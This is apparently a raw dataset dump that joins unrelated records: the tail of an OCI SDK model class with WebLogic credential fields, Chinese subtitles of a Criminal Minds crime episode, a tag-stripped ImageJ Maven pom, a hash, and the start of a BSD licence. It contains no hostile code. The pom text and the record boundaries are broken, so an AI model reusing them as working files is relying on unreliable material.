\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Initializes a new SoacsDiscoveryDetails object with values from keyword arguments. The default value of the :py:attr:`~oci.application_migration.models.SoacsDiscoveryDetails.type` attribute\n of this class is ``SOACS`` and it should not be changed.\n The following keyword arguments are supported (corresponding to the getters/setters of this class):\n\n :param type:\n The value to assign to the type property of this SoacsDiscoveryDetails.\n Allowed values for this property are: \"JCS\", \"SOACS\", \"OIC\", \"OAC\", \"ICS\", \"PCS\"\n :type type: str\n\n :param weblogic_user:\n The value to assign to the weblogic_user property of this SoacsDiscoveryDetails.\n :type weblogic_user: str\n\n :param weblogic_password:\n The value to assign to the weblogic_password property of this SoacsDiscoveryDetails.\n :type weblogic_password: str\n\n \"\"\"\n self.swagger_types = {\n 'type': 'str',\n 'weblogic_user': 'str',\n 'weblogic_password': 'str'\n }\n\n self.attribute_map = {\n 'type': 'type',\n 'weblogic_user': 'weblogicUser',\n 'weblogic_password': 'weblogicPassword'\n }\n\n self._type = None\n self._weblogic_user = None\n self._weblogic_password = None\n self._type = 'SOACS'\n\n @property\n def weblogic_user(self):\n \"\"\"\n **[Required]** Gets the weblogic_user of this SoacsDiscoveryDetails.\n The SOACS instance weblogic admin user\n\n\n :return: The weblogic_user of this SoacsDiscoveryDetails.\n :rtype: str\n \"\"\"\n return self._weblogic_user\n\n @weblogic_user.setter\n def weblogic_user(self, weblogic_user):\n \"\"\"\n Sets the weblogic_user of this SoacsDiscoveryDetails.\n The SOACS instance weblogic admin user\n\n\n :param weblogic_user: The weblogic_user of this SoacsDiscoveryDetails.\n :type: str\n \"\"\"\n self._weblogic_user = weblogic_user\n\n @property\n def weblogic_password(self):\n \"\"\"\n **[Required]** Gets the weblogic_password of this SoacsDiscoveryDetails.\n The SOACS instance weblogic admin password\n\n\n :return: The weblogic_password of this SoacsDiscoveryDetails.\n :rtype: str\n \"\"\"\n return self._weblogic_password\n\n @weblogic_password.setter\n def weblogic_password(self, weblogic_password):\n \"\"\"\n Sets the weblogic_password of this SoacsDiscoveryDetails.\n The SOACS instance weblogic admin password\n\n\n :param weblogic_password: The weblogic_password of this SoacsDiscoveryDetails.\n :type: str\n \"\"\"\n self._weblogic_password = weblogic_password\n\n def __repr__(self):\n return formatted_flat_dict(self)\n\n def __eq__(self, other):\n if other is None:\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n return not self == other\n"} +{"text": "E\nM 《犯罪心理》前情提要\r\nM 我希望你是为什么目的而训练 还是你只是跑着玩的\r\nM 我想参加2月份的铁人三项 所以…\nM 对 FBI的\nM 她叫什么\nM Beth\nM 我喜欢这名\nM 好吧 Rossi 老实说吧\r\nM Hotch在约会吗\nM 我不知道\nM 我读到过比赛前一周不该训练\r\nM 大概至此为止吧吧\r\nM 那我们该干嘛呢\nM 我想我们该干点什么\nM 比赛已经快到了 你得需要一个新借口来见她了\r\nM 已经解决了\r\nM 好样的\r\nE\nM 我好想要你\r\nM 那你还在等什么\r\nE\nM 还是没感觉\nM 继续 继续\nE\nM 没用的\r\nM 也许你只是没情绪\r\nM 只要再多给我5分钟\r\nE\nM 拜托了 真的吗\r\nM 听着 我以前做过的\r\nM 我可以的 能行的\r\nM 放松 我没说你不行\r\nM 这种事常有的 别担心\r\nE\nM 我已经付了整晚的钱了\r\nM 是 我知道 但老实说 现在的情况\r\nM 不跟几个小时前一样吗\r\nM 拜托 我只要再试一下\r\nE\nM 谢谢\r\nM 一杯chai茶\r\nM 要是我说错了你尽管纠正我 但chai不就是茶的意思嘛\r\nM 所以我只是给你叫了一杯茶茶\r\nM 等等\r\nM 你这周末有可能出去办案\nM 很有可能\nM 那要是你不能及时回来呢\nM 那我只有参加别的比赛了\nM 但你为这次比赛训练了好久\nM 我知道 我只好参加下一次的了\nM 也许我去参加你那个比赛\nM 可你训练得这么刻苦\nM 我知道 全白费了\r\nM 是啊 可惜都没什么收获哈\r\nE\nM 那假设你能回来的话\r\nM 我真希望能去看 你明白吧\r\nM 看我在终点线崩溃\nM 我很期待 真的\nM 我知道Jack会去的 所以...\nM 没关系\nM 我希望你见见他\r\nE\nM 太好了\r\nE\nM 你可真没胡闹的\r\nM Will整周都不在 所以我得天天两班倒带Henry\r\nM 拜托告诉我 周六晚我们的约会还在\r\nM 因为我就231/2 天前 就在日历上把那天画了圈圈 \r\nM 可很明显你没有怎么重视\nM Garcia为那些萨尔萨课花了大价钱\nM 我会去找个保姆的\nM 我们开始吧\nM 好的 Atlanta外勤��公室手上 有个连环杀人案\r\nM 上两周有两个妓女被刺死并布置\r\nM Atlanta的犯罪率在过去几年里直线上升\r\nM 特别是市中心的性交易和毒品扩散\r\nM 也许这人觉得自己在清理市容\r\nM 针对妓女的疑犯很少会摆放尸体\r\nM 弃尸的方式通常反应出凶手对受害者的感觉\r\nM 看起来他并未看低受害人们 甚至让她们衣着整齐\r\nM 他可能之后充满了悔恨\r\nM 胳膊交叉 尸体安置在城外安静的公园里 也许他认识她们\r\nM 可能是私仇 这些杀戮中带有很大的怒气\r\nM 多次刺伤\nM 那性侵犯呢\nM 没有 法医报告上说并无任何死前性行为的证据\r\nM 那他想对她们做什么\nM 这也是我们需要发现的\nE\nM Eckhart Tolle曾说过 \"愤怒之下\r\nM 必有伤痛\"\r\nM 两名受害人被发现时身上都有250美元\r\nM 为什么疑犯不拿走呢\nM 这是不小的施舍 钱不在他的考虑范围\nM 弃尸才是他的关注点 他选择了Atlanta城外两座不同的公园\r\nM 这些公园相距15英里 从城里开车40分钟才到 这说明了他的安全区\r\nM 或者他不想回到同一地点 冒险被认出来\r\nM 伙计们 我讨厌自己带来坏消息\r\nM 可是又有一具尸体 被另一个公园的跑步者发现了\r\nM 她叫Rebecca Moore 还有这个 有人为她填了份失踪人口报告\r\nM 那她失踪了多久\nM 36个小时\nM 谁填的\nM 她朋友Allyson Parker\nM Prentiss 你和JJ去找Allyson 看看她对Rebecca成为目标有何看法\r\nM Morgan和Reid 去弃尸点 我和Dave会在外勤办公室安排\r\nE\nM 你去哪儿了\nM 出去了\nM 你拿牛奶了吗\nM 他喜欢就着牛奶吃煎饼\nM 抱歉\nM 抱歉 抱歉能让奇迹出现吗 \r\nE\nM 我做了你最爱吃的\r\nM 而且我知道你喜欢放点油在煎锅里 这样边缘才是脆的\r\nE\nM 我本来想给你做炒蛋的 可那些召回的事啊\r\nM 我想煎饼才是个安全的选择\r\nM 怎么样\r\nE\nM 你需要吃东西\r\nM Erika马上就要来了\r\nM 我想请她吃晚餐\r\nM 明天怎么样\r\nE\nM 亲爱的 亲爱的\r\nM 你还没吃维他命呢\r\nE\nM 那可不是维他命\r\nE\nM 嗨 我是Brooks探员 谢谢你们这么快赶来\r\nM 这人可不怎么休息 两周已经有3名受害人了?\r\nM 我还以为他会有个缓冲期\nM 他的恢复时间越来越短了\nM 那是什么意思\nM 很难说\nM 我希望能在他再犯案之前抓到他\nM 法医实验室关了吗\nM 我可以送你去\nM 我们正要去接Rebecca Moore的尸体\r\nE\nM 你早餐时怎么什么都不说\nM 他不会听我的\nM 那你就眼睁睁看着我当坏人\r\nM 或者你就打算像块木头那么傻傻地坐着?\r\nM Linda 我现在不想这这个\r\nM 你以为我想吗 当我想让Jeffrey吃药时 我需要你支持我\r\nM 明白吗 看着我\r\nE\nM 我们都知道他要不吃药的话 会发生什么\r\nE\nM 那么他停在路边 然后搬走尸体 多远\r\nM 52.6码\r\nM 还是上山 所以他一定身体健壮\r\nM 你知道吗 妓女经常在她们工作的地区\r\nM 被杀并弃尸\nM 为什么要花时间开40英里出城呢\nM 也许他就在这儿 他从市中心接到她们 把她们带到第二个地点\r\nM 杀掉她们 再尽快地丢掉尸体\r\nM 这意味着他就住在附近 住在郊区\r\nM 跟其他76728人一起\r\nE\nM 你妈妈真好\r\nM 她邀请我明晚来吃晚餐\r\nM 还想知道我是不是个素食主义者\r\nE\nM 很好 现在给我再做一套\r\nM 我再给你做两套如何\nM 真的?\nM 怎么 你想要我停下来?\nM 不 不 不 继续\nE\nM 我希望你在你朋友来玩时保持的状态\r\nM 只要记住挑战越大 阻力越大\r\nM 没人会来了\r\nM 真的吗\nM 是啊 我是说 他们刚开始还来\nM 但等他们去学校以后 他们就没再来了\r\nE\nM 有时候朋友们 只是不知道该怎么处理此事而已\r\nM 他们害怕会说错话\nM 是啊\nM 不过别担心 我会让你状态良好地迎接他们再次来访\r\nM 好的 别做了 我希望你休息会\r\nE\nM 让我们换个项目\r\nM 我们来单练你的胸 接着再加5磅\r\nM 这会增加你的上身力量\r\nM 这能让你更容易上下轮椅\r\nE\nM 既然你现在越来越强壮了 你就需要一个真正的挑战了\r\nM 你是什么意思\nM 拜托 你没注意到吗\nM 也许吧 有一点\r\nM 你开玩笑吧 过去几周你跟个超人似的\r\nM 说吧 你有什么秘密\nM 我不 我不知道\nM 不说 好吧 没关系 你不必告诉我\r\nM 只要继续下去就行 不管是什么 你都做得很好\r\nM 好的 回来吧\r\nE\nM 节哀顺便\r\nM 你跟Rebecca做朋友多久了\r\nM 3年\r\nM 你俩互相照应\r\nM 所以你才报案的吧\nM 几乎过去两天了\nM 我本以为她被抓去警局了\r\nE\nM 被关起来总比消失强\r\nM 那你怎么会认为出事了呢\nM 她总会回来\nM 金窝银窝 比不上咱的狗窝 你懂吧\r\nM 她有常客吗\r\nM 我们都有\r\nM Rebecca身上有250美元\r\nE\nM 真的吗\nM 这些钱能买到哪些服务\nM 很多\nM 比如是一整夜还是...\nM 在今天这个世��� 是的\r\nE\nM 怎么了\nM 我们需要再找一个女孩\nM 不是刚找了吗\nM 那就再找一个\nM 我不能再回那儿了\r\nM 为什么不能\nM 时间太短了\nM 再想其他办法\nM 他真的有好转了吗\nM 我刚听到Erika说 她注意到过去几周来他进步很大\r\nE\nM 你不想他快乐吗\r\nM 我去办吧\r\nM 很好\r\nE\nM 有任何性侵迹象吗\r\nM 第三名受害人 仍没有任何炎症或被强暴迹象\r\nM 他的不举可能是引发怒火的导火索\r\nM 的确有很多怒火 肺上有大量穿刺伤\r\nM 她淹死在自己的血泊中 要造成这种伤可需要不少力量\nM 毫无疑问 他很强壮 在某些地方 刀直接切进了骨头里\r\nM 她大腿内侧是怎么回事\nM 那有一道轨道般的瘀痕\nM 是由一种长柱体表面造成的\r\nM 比如像一个杆?\r\nM 是的 而且我发现其他人身上也有同样的瘀伤\r\nM 也许是某种束带?\nM 有可能\nE\nM 我需要你回忆起你最后一次见Rebecca的情形\r\nM 你站在哪儿\nM 就在这儿\nM 面朝哪个方向\nM 街上\nM 一辆卡车开过来 他是我的常客之一\r\nE\nM 我靠着车窗跟他说话\r\nM 而Rebecca刚从一辆银色宝马上下来\r\nM 你认识那辆车吗\nM 不 一定是个新客户\nM 接着她做了什么\r\nM 她朝我看了一眼 就沿着人行道走下去\r\nM 那就是我最后一次见到她\r\nE\nM 等等\r\nM 那里有辆很旧的灰色货车\r\nE\nM 我以前就见过它停在附近\r\nM 它停在那儿很久了\r\nM 一辆货车 停在哪儿\nM 就停在那儿\nE\nM 你能记起它的车牌号吗\nM 不行 天黑没看见\nM 禁止停车 卸货区\r\nM 它在那儿停了多久\nM 大概几小时吧\nM 为什么\nM 那是卸货区 只能停有许可证的车\nE\nM 快跑 Bobby\r\nE\nM 打扰一下\r\nM 不知道我找对地方没\r\nM Collins先生?\nM 是的 你好\nM 抱歉 我有什么能帮你的吗\nM 我叫Julie 我是来这儿见Jeffrey的\nM 对 请进\r\nE\nM 你打算用保险费来付吗\nM 我想付现金\nM 我大部分的客户也没有申请\r\nM 我想 这仍算是实验性治疗\r\nM 那项链真漂亮\nM 谢谢\nE\nM Jeffrey的房间就在走道尽头\nM 很好 谢谢\nE\nM Reid 有收获了吗\nM 三名受害人 一种模式\nM 看起来他的控制区在Ridgecrest附近\nM 这是住宅区 大部分是白领人士\nM 这让他在狩猎区和弃尸点来去自如\r\nM 这两个地方车行很方便\r\nM Allyson记得在Rebecca失踪那晚 看见那儿停了辆货车\r\nM 而且她从前也见过它 它在卸货区停了几个小时\r\nM 那让我们来查查最近的罚单吧\nM 分析员已经做了 一无所获\nM 那不是住宅区 所以大概是一个小贩\nM Garcia正在查许可证\nM 他已经杀了3个人了 每个受害人身上都有250元\r\nM 那就是他没有收回的750元投资\r\nM 他本有机会全拿回来的 但相反他把它们都跟尸体一起埋葬了\r\nM 这可能是处于他罪恶感的困扰或表现\r\nM 发生在死后的所有事\r\nM 给她们穿好衣服 折好手臂让她们安息 这都很慈悲\r\nM 但杀戮则完全相反 异常地暴力和愤怒\r\nM 多重人格\nM 或者多个疑犯\nM 暴力的那个有控制权 而从犯则去收拾残局\r\nE\nM 救我\r\nE\nM 救我\r\nM 救救我 救救我\r\nE\nM 她叫Julie Harmon 住在市中心的阁楼里\r\nM 她包里有一信封的现金 被包裹在塑料袋里\r\nM 这是新情况 就像她正准备被埋葬\r\nM 她并不符合他的受害人类型 看看她的指甲\r\nM 她穿衣的风格 她的鞋也很得体\r\nM 也许她是个高级应召女郎\nM 她反抗并因此得到了惩罚\nM 钝器伤 大腿内侧有相同的瘀伤\r\nM 这是杀戮之中最暴力间隔最短的一次\r\nM 就像他试着打破某种记录一样\nM 这队人有着复杂的关系\nM 他们很信任彼此 但他们仍然互相依赖 互相支持\r\nM 听起来就像是所有失常的关系\nM 我们要怎么缩小范围?\nM 通过她 我们对Julie了解得越多\r\nM 我们就能越加懂得他们为什么要这么做\r\nE\nM 你有没有看到他对她做了什么\r\nM 并不比对其他人时更糟\r\nM 就跟男女混住一样糟\nM 你就不能别提这事了吗\nM 我们给了他想要的一切 我不能继续下去了\r\nM 你想干嘛 停手? 她说他越来越强壮了\r\nM 要是他能再行走呢\nM 你知道几率有多小\nM 他向来是个例外 我不会放弃他的\r\nE\nM 擦啊 用你的板刷\r\nE\nM 我们正在寻找一对白人男性 他们在25到35岁\r\nM 他们有一种过度杀戮然后悔恨的模式\r\nM 这通常意味着一种主导和从属的伙伴关系\r\nM 从属的那个听从命令 了解主导者的类型\r\nM 找到受害人 等主导者完成他的杀戮惯例之后\r\nM 就丢弃掉受害人的尸体\r\nM 什么惯例?\nM 很可能涉及某种类型的奴役\nM 所有的受害人的大腿内侧都有相同的瘀伤\r\nM 但我们不确定这是在抓人还是杀人时造成的\r\nM 并没有性侵痕迹 这告诉我们\r\nM 主导者很可能阳痿 或者用另外的方式释放性冲动\r\nM 我们经常把这叫��兴奋杀人\r\nM 主导方在无性元素的情况下 造成受害人痛苦恐惧\r\nM 这就给他刺激和兴奋感\nM 就像打了肾上腺素一样\nM 没错 这种谋杀的兴奋只能持续很短暂的时间\r\nM 就像麻醉剂 暴力只能满足他短时间的需求 然后就消散了\r\nM 所以他几乎没有冷却时间\r\nM 尽管有公开的调查 疑犯们仍在继续作案\r\nM 被抓的风险敌不过想要杀戮的需求\r\nE\nM 接下来是\"挑战极限\"的下一关\r\nM 好的 来吧\r\nM 谢谢\r\nM 我爱死这个游戏了\r\nM 好的 你准备好进入加分赛了吗\r\nM 完全准备好了\r\nM 好的 Mary Ellen\nM 我还要\nM 我们得谈谈 儿子\r\nM 有什么好谈的\r\nM 你感觉怎么样\r\nM 这他妈什么意思\nM 你爸只是在问你\nM 你搬回来的时候我们说好了 只要你住在这里 就得吃药\r\nM 是她们把我惹毛了\r\nM 听着 如果你们想赶我走的话 直说好了\r\nM 我们不是想赶你走\r\nM 我们会问问医生要不要改改药方 但现在你得吃药 你已经好几周没吃了\r\nM 你怎么敢\r\nM 她一辈子都在吃药 不代表我也得这样\r\nM 够了\r\nE\nM 你喝醉了 是吧 爸爸\r\nM 没关系 我不怪你娶了她\r\nM 我说够了\nM 不然呢 你要怎么处理她还没毁掉的事\nM 我们在尽最大努力\r\nM 你做得还不够\r\nE\nM 你真的想帮我吗\r\nM 那就把我从痛苦中解脱出来\r\nE\nM 好了 糖糖 我查到最新一位受害者的全部资料了\r\nM 你说对了一半 Julie Haronand是个替身性伴侣\r\nM 她们帮忙让别人硬起来\r\nM 就像是跟治疗师嘿咻\r\nM 她有病人名单吗\nM 我想肯定有 但在电脑上啥也没查到\nM 她也许有个小黑本 你知道 像勒德分子一样\r\nM 好的 谢谢 妈妈\r\nE\nM Julie Harmon是名替身性伴侣\r\nM 貌似有人觉得一点先进的药方 就能治愈一切毛病\r\nM 他们错了\nM 这不只是从高风险向低风险受害者转变\nM 替身性伴侣是一种很特定的类型\nM 好像她们是在尝试修复什么\nM 不然为啥要叫治疗师呢\nM 她们确实治疗所有类型的无能\nM 不管是发育上的 生理上的 还是心理上的\r\nM 我猜这家伙三种都有\r\nM 我们来看看生理上的 他上身力量足以完成杀戮\r\nM 但受害者的瘀伤说明他用了约束手段\r\nM 一般约束受害者出现的瘀伤是在手脚上\r\nM 但她们的条状瘀伤是在大腿上\r\nM 就像受害者是跨坐在椅子上的\r\nM 生理上有缺陷 手臂力量强壮 疑犯可能是坐在轮椅上的\r\nM 这就解释了停在卸货区的货车 残疾人证可以让他在市内任何停车场停车\r\nM 我来打给Garcia\r\nM 我们应该找社工和理疗师等 任何直接与残疾人接触的人\r\nM 根据作案中体现出来的愤怒和无能 残疾应该不是一天两天了\r\nM 他的突然爆发可能是长期积累的失意\r\nM 在事情不受其控制时被体现了出来 比如意外\r\nM 好的 我们去查吧 帮他的人对他有着绝对的忠诚\r\nM 甚至是责任\nM 他的照料者可能就是造成他残疾的人\nM 这说明照料者心中悔恨和内疚 可能还良心未泯\r\nM 如果是这样的话 破坏这种搭档关系的最好办法就是挑拨离间\r\nM 关键就是告诉照料者他能得到谅解\r\nM 给他离开的力量\r\nM 我让Brooks探员组织新闻发布会\r\nE\nM 我们呼吁这个人\r\nM 我们相信其承担着照料的责任\r\nM 来找我们 我们会帮助他\r\nM 做正确的事 联系亚特兰大警方\r\nM 你可以避免这样的事再发生在别人身上\r\nM 我们理解你对同伴有很强的忠诚心\r\nM 需要服从他的要求\r\nM 但如果你联系我们 我们会竭尽全力\r\nM 帮助你们\r\nM 刚才是FBI的Jareau探员...\r\nE\nM 是时候了\nM 我知道\nE\nM 新闻发布会有多大作用\nM 非常大\nM 那照料者怎么还没来找我们\nM 这种事急不来\nM 几小时内都不会有进展的\r\nE\nM 真高兴你能来\nM 我从不拒绝家庭餐会的\nM 这个送你的\nM 谢谢 真漂亮\nE\nM 都在等你了\r\nM Julie Harmon的谋杀 处处都与其他人不同\r\nM 是最暴力最懊悔的\r\nM 就像作案两人各自处于各自的极端\r\nM 所有受害者尸体都脏乱的暴露在外\r\nM 但你说得对 Julie是被塑料包裹的 很整洁\r\nM 近乎太整洁了\nM 也许照料者是名女性\nM 天性使然 女性更趋向于整洁的处置方法\r\nM 我不知道 我的意思是 那里地势复杂\r\nM 无意冒犯但Reid和我去那个山脊徒步过 一个女人不管是否强壮\r\nM 都不可能把尸体扛到那儿去的\r\nM 我们侧写过作案同伙之一坐着轮椅\r\nM 所以不可能是他来处理尸体\r\nM 所以还有第三个人 这种情况很少\r\nM 一般都是二对一\r\nM 他们得完全互相信任\r\nM 那么什么样的关系能如此呢\nM 他们得是非常要好的朋友\nM 或者互相威胁\nM 兄弟姐妹\nM 也许是父母保护孩子呢\r\nE\nM 父母养育孩子 支持孩子\r\nM 他们基因相同 苹果不会掉到离树很远的地方\r\nM 父母��得自己应负责任 这就解释了为什么内疚\r\nM 但怎样的病态家庭会做出这种事\r\nM 或许是有前科的家庭\r\nE\nM 天哪\nM 我知道 成功了\nM 你能相信吗 Collins太太\r\nE\nM 我们觉得他们只有一名独子 不大可能有兄弟姐妹参与这样极端的事\r\nM 如果他们觉得要对孩子的意外负责\r\nM 他们可能觉得只要能让他高兴 做任何事都是合理的\r\nM 我们觉得谋杀不是他们有计划进行的 更像是儿子的一个致命副作用\r\nM 如果意外中导致了眶皮质损伤 那就能解释为何杀戮是他的释放\r\nM 如果母亲有精神病趋向 可能会通过X染色体传染给下一代\r\nM Garcia在查因父母造成的意外事件\r\nM 那单子肯定短不了\r\nM 确实 所以她也在查本州还未破的案子\r\nM 很可能这不是儿子第一次作案\r\nM 嗯 鸡肉很软很好吃\r\nM 我煮了很久\r\nM 因为沙门氏菌可是个 没人愿意说起的沉默杀手\r\nE\nM 那么Erika 你家是个大家庭吗\r\nM 我有两个哥哥\r\nM 你是老幺 而且是唯一的女孩\r\nM 那你家里会很吵吗 男孩儿们四处跑闹\r\nM 我觉得小男孩都是那样的\r\nM Jeffrey以前游戏过后跟朋友一起回来\r\nM 我发誓他们鞋子里都有砖块\r\nM 房子都能被他们掀翻了\r\nE\nM 然后Donald就想要个女孩\r\nM 记得吗\r\nE\nM 因为他说\r\nM \"儿子跟妈亲 女儿跟爸亲\"\r\nM 但我拒绝了 因为我没法像爱Jeffrey一样\r\nM 再去爱另一个孩子了\r\nE\nM 我心里没别的空间再容纳任何人了\r\nE\nM 真是… 真是太温馨了\r\nE\nM 带着了吗\r\nE\nM Garcia 开免提了\r\nM 好的 我能查到的唯一一件 跟这次有点类似的案子是在五年前\r\nM 乔治亚州一个女学生被刺死 尸体被扔在一个公园里\r\nM 大腿内侧有瘀伤吗\nM 法医说…\nM 有\r\nM 好的 Garcia 查一下当年持有学校残疾人许可的学生名单\r\nM 有一大堆 缩小点范围吧\nM 查一下本州居民\nM 如果疑犯有残疾 很可能不会离家太远\r\nM 全是本地人\r\nM 父母可能掩盖了这件事\r\nM 在案发后让儿子从学校退学\r\nM 查到了 Jeffrey Collins\r\nM 案发后几周就从学校退学了 然后一直和父母住在一起\r\nM 他发生过什么事\r\nM 马上发给你们 他是Linda和Donald Collins的独子\r\nM 他本是当地一名运动员 直到15岁一次交通意外后变成瘫痪\r\nM 这里说当时是母亲开车 但母亲伤势不像司机应有的那么严重\r\nM 但父亲很严重 看这儿 肋骨骨折 脾脏破裂 轻微脑震荡\r\nM 很明显他才是开车的人\nM 我猜 父亲是酒后驾车\nM 是的 超过法定限制两倍\nM 听起来他们互换了位置 她想替他顶罪\nM 但帮丈夫躲掉酒后驾车 跟帮儿子处理尸体是有很大差别的\r\nM 不一定 这个母亲是一个处理烂摊子的角色\r\nM 她可能让丈夫为他的过错作补偿\r\nM Garcia 查到地址了吗\nM 发给你了\nM 结束\r\nM 真不错\r\nE\nM 你喜欢吗\r\nM 喜欢\r\nE\nM 想看点别的什么吗\r\nM 其实我觉得有点累了\r\nM 你一晚上都在斜视\r\nM 又头疼了吗\nM 是的\nM 你今天吃药了吗\r\nE\nM 药不能停的 知道吗\r\nM 还是在你房间里吗\r\nM 是的 但我爸可以去拿\r\nM 没事 我去拿\r\nE\nM 这是什么 床底下为什么有血\r\nM 你真不应该进来的\r\nM 有血 为什么有血\r\nE\nM 我是他妈妈\r\nM 我可以给他拿药\r\nE\nM 接到电话时我们正在去Collins家的路上\r\nM Donald Collins开的车 撞车身亡\r\nM 在他衣服口袋里找到了这个\r\nM 他承认了四宗谋杀\r\nM 即使死了都要替儿子认罪\r\nM 车里没别人了?\nM 没有\nM 没有刹车痕迹 他大概是以65英里的时速撞上去的\r\nM 他是自杀的\r\nM 似乎他是在重演当时让Jeff瘫痪的事故\r\nM 这是他最后的忏悔\nM 这是他们作案的终点吗\nM 如果他是想重演当年的事故 Jeff和Linda也应该在车里\r\nM 他们在哪儿\r\nM 别人邀请你\r\nM 你进门 吃饭 微笑 然后就该离开\r\nM 送花很不错 但其他礼貌你明显就很欠缺了\r\nM 你到底要干嘛\nM 我得把她弄走\nM 她跟此事无关\r\nE\nM 救命\r\nM 她发现了 我不会让她毁了一切的\r\nM 对不起 我知道你真的很喜欢她 但我会再给你找别人的 好吗\r\nE\nM FBI\nM 救命\nM 把枪放下\nM 听着 Collins太太 放下武器\nM 从我家滚出去\nM 去找我爸 他会告诉你们她疯了\nM 你父亲在一场交通事故中身亡了\nM 什么\nM 他有没有告诉你们他做过的事\nM 他杀了那些女孩 那个变态的王八蛋\nM Linda 都结束了 Jeff得跟我们走\nM 他哪也不去\r\nM 你父亲自杀是因为 他再也无法忍受自己参与谋杀案了\r\nM 他受不了良心指责\nM 他是个酒鬼 看看他对我儿子做的好事\nM 看看他对我儿子做的好事\nM 是你做的 她在撒谎\nM 你得让他承担责任\r\nM 我们知道是Jeff杀了那些女孩\r\nE\nM 你们这些人 你们到我家来\r\nM 想把我儿子带走 然后把他像动���一样关起来\r\nM Linda 把枪放下\r\nE\nM 妈\r\nM 我一直都跟你说\r\nM 妈妈会处理好一切的\r\nE\nM 没事了\r\nE\nM \"你的人生 要让你的孩子在想到公平和正直时\r\nM 就想到你\" H. Jackson Brown Jr.\r\nE\nM 我知道没有父母手册\r\nM 但什么样的父母会为孩子做这样的事\r\nM Collins一家很明显 在Jeffrey的事之前就有问题\r\nM 只是那次事故和他的瘫痪\r\nM 是个导火索罢了\r\nE\nM 我猜也是\r\nM 我明天几点去接Jack\r\nM 我早上五点就得出发\r\nE\nM 好吧 我跟你说\r\nM 你把咖啡准备好 我会准时到的\nM 谢了\nM 紧张吗\r\nM 现在退出还来得及\r\nE\nM 我准备好了 也许\r\nE\nM 还没找到保姆\nM 我家保姆没空\nM 很明显周六晚上要找个保姆比中彩票还难啊\r\nM 今晚有什么事吗\nM 女士之夜 但…\nM 我忘了先约一个保姆\nM 我来\nM Spence\nM 咋了 我看过一集《Belvedere先生》的\nE\nM 你以前从来没一个人带过小孩\nM 你知道吗 呃\nM 几小时他还是能行的\r\nM 能出什么岔子啊\r\nE\nM FBI终点线\r\nE\nM 几小时 几小时\r\nM 你们天亮才回来\r\nM 你吼什么\nM 让他闭嘴\nM 嘿 Jack Jack 把耳套戴上 耳套\r\nM 你们昨晚喝什么了\nM 绿仙子 你是FBI\nM 你能让大家别吵了吗\r\nM 以我估计 Hotch很快就能跑完了\r\nM 你看到他了吗 Dave叔叔\nM 看到了 小家伙\nM 就在那里 他来了\r\nM 他来了 加油\r\nE\nM 加油 跑过去\r\nM 来 Jack 来 Jack 咱去看看你爸爸 Jack\r\nE\nM 去他那儿 Jack 去他那儿 快去快去\r\nM 谢谢\nM 你做到了\nM 是啊 伙计 你能相信吗\nM 你看到我的加油牌了吗\nM 我做到了 这是给你的 儿子 你的加油牌棒极了\r\nM 看看你啊 感觉如何\nM 我觉得死不了\nM 太厉害了 我还押游泳队会跑赢你呢\nM 我有练哦\nM 没白练啊 干得好\nM 谢谢\nM 你们要吃点啥吗\nM 嗯 油腻大餐\nM Hotchner\nM Beth Jack 我想让你见个人\nM 过来\r\nE\nM 你太棒了\nM 恭喜\nM 谢谢\nE\nM Beth 这是我儿子Jack\nM Jack 这是我朋友Beth\nM 你好呀 Jack 很高兴认识你\r\nM 你也是我爸爸同事吗\nM 不是 我们只是朋友\nM 嘿 别跟我说这是你做的\r\nM 是的 我自己画的 还加了亮片\r\nM 你知道吗\r\nM 我整天都在看画 朋友 你画的非常好\r\nM 谢谢\nM 不客气\nM 我们要去吃东西 你去吗\nM 当然\nM 太好了 走吧 伙计\r\n"} +{"text": "\n\n\t4.0.0\n\n\t\n\t\torg.scijava\n\t\tpom-scijava\n\t\t29.2.1\n\t\t\n\t\n\n\timagej-tutorials\n\thowtos\n\t1.0.0-SNAPSHOT\n\n\tImageJ HowTos\n\tThis project contains HowTos for ImageJ Java development.\n\thttps://github.com/[MY-ORG]/[MY-REPO]\n\t2013\n\t\n\t\t[MY-ORGANIZATION-NAME]\n\t\t[MY-ORGANIZATION-WEB-SITE]\n\t\n\t\n\t\t\n\t\t\tUnlicense\n\t\t\thttps://unlicense.org/\n\t\t\trepo\n\t\t\n\t\n\n\t\n\t\t\n\t\t\tfrauzufall\n\t\t\tDeborah Schmidt\n\t\t\thttps://imagej.net/User:Frauzufall\n\t\t\n\t\n\t\n\t\t\n\t\t\tNone\n\t\t\n\t\n\n\t\n\t\t\n\t\t\tImage.sc Forum\n\t\t\thttps://forum.image.sc/tags/imagej\n\t\t\n\t\n\n\t\n\t\tscm:git:git://github.com/[MY-ORG]/[MY-REPO]\n\t\tscm:git:git@github.com:[MY-ORG]/[MY-REPO]\n\t\tHEAD\n\t\thttps://github.com/[MY-ORG]/[MY-REPO]\n\t\n\t\n\t\tGitHub Issues\n\t\thttp://github.com/[MY-ORG]/[MY-REPO]/issues\n\t\n\t\n\t\tNone\n\t\n\n\t\n\t\tHelloWorld\n\t\tunlicense\n\t\tN/A\n\t\tImageJ software for multidimensional image processing and analysis.\n\t\n\n\t\n\t\t\n\t\t\tscijava.public\n\t\t\thttps://maven.scijava.org/content/groups/public\n\t\t\n\t\n\n\t\n\t\t\n\t\t\tnet.imagej\n\t\t\timagej\n\t\t\n\t\t\n\t\t\tnet.imagej\n\t\t\timagej-legacy\n\t\t\n\t\n\n\n"} +{"text": "d4733e795e5af80da9a265cf83a6da69\n"} +{"text": "/*\n\n Copyright (c) 2016, Robin Raymond\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 